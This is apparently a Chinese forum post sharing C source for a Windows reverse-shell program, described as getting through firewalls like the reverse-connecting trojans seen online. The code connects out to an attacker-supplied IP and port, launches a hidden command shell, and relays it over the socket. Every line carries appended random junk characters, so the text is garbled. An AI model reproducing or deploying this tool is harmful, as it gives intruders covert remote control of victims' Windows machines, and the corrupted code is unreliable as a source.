这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ;ajCnSmR
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/* ============================== 3t5`,R1@t
Rebound port in Windows NT u;p{&\(]
By wind,2006/7 s3kHNDdC
===============================*/ H%>
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#include YwyP+Sr\
#include ~UX@%0%)N
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#pragma comment(lib,"wsock32.lib") ^AdHP!I
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void OutputShell(); 4eK!1|1
SOCKET sClient; F0W4B
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; S:4'k^E
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void main(int argc,char **argv) lfp[(Ph)9
{ &[$qA
WSADATA stWsaData; [X]yj
int nRet; IL` X}=L_
SOCKADDR_IN stSaiClient,stSaiServer; J^8(h R
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if(argc != 3) e3,TY.,Ay
{ -U~]Bugvh
printf("Useage:\n\rRebound DestIP DestPort\n"); A!\ouKyayS
return; i"Hec9Ri
} Md(AqaA
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WSAStartup(MAKEWORD(2,2),&stWsaData); N7:=%F y(
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v=e`e68U~
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stSaiClient.sin_family = AF_INET; bD*V$w*P
stSaiClient.sin_port = htons(0); {I0b%>r=
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); +?Vj}p;
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) S7]\tw_L)
{ EITA[Ba B`
printf("Bind Socket Failed!\n"); H6%QM}t
return; b9Jah
} 8}z]B^?Fy
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stSaiServer.sin_family = AF_INET; 5S`_q&
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =&G<^7
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); |b"
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ? 3
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{ BH6)`0&2*N
printf("Connect Error!"); qniP`P4E
return; IZ+kw.6e
} Tlc3l}B*Z
OutputShell(); CZ*#FY
} ap;?[B~Ga
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void OutputShell() Y|JC+Ee
{ $BHbnsaQ
char szBuff[1024]; /{@^h#4M1
SECURITY_ATTRIBUTES stSecurityAttributes; </!
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OSVERSIONINFO stOsversionInfo; ^f*}]`S
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; afrU>#+"
STARTUPINFO stStartupInfo; Bu|Uz0Y
char *szShell; eD5:0;X2
PROCESS_INFORMATION stProcessInformation; (1pI#H"f9
unsigned long lBytesRead; 9D@
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0qP&hybL[(
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); RO.GD$ 3n
stSecurityAttributes.lpSecurityDescriptor = 0; z\64Qpfm
stSecurityAttributes.bInheritHandle = TRUE; Axp#8
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); /){F0Zjjt
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ZccQ{$0H
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); N6K%Wkz
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .G-F5`2I
stStartupInfo.wShowWindow = SW_HIDE; PL vz1}ts
stStartupInfo.hStdInput = hReadPipe; FyD^\6/x
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; /IQl
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GetVersionEx(&stOsversionInfo);
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switch(stOsversionInfo.dwPlatformId) ~q0g7?}&
{ !;Hi9,<#7g
case 1: &"X6s%ZH|
szShell = "command.com"; fzcPi9+
break; UrAg*v!Qy
default: V.<$c1#=$
szShell = "cmd.exe"; >JdA,i}1
break; >6 p
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} C- 25\
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); WKVoqp}
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send(sClient,szMsg,77,0); Qdepzo>E
while(1) /P_1vQq
{ dzA5l:5
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 5vxKkk&i4l
if(lBytesRead) !%w#h0(b
{ D2hEI2S
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <eWGvIEP[
send(sClient,szBuff,lBytesRead,0); $xx5+A%,
} 38Rod]\E
else |GmV1hN
{ #bRr|`
lBytesRead=recv(sClient,szBuff,1024,0); z9> yg_Q
if(lBytesRead<=0) break; 9{OH%bF
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Eu%19s;u
} oL?[9aww
} Cjvgf.>$
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return; agQ5%t#
}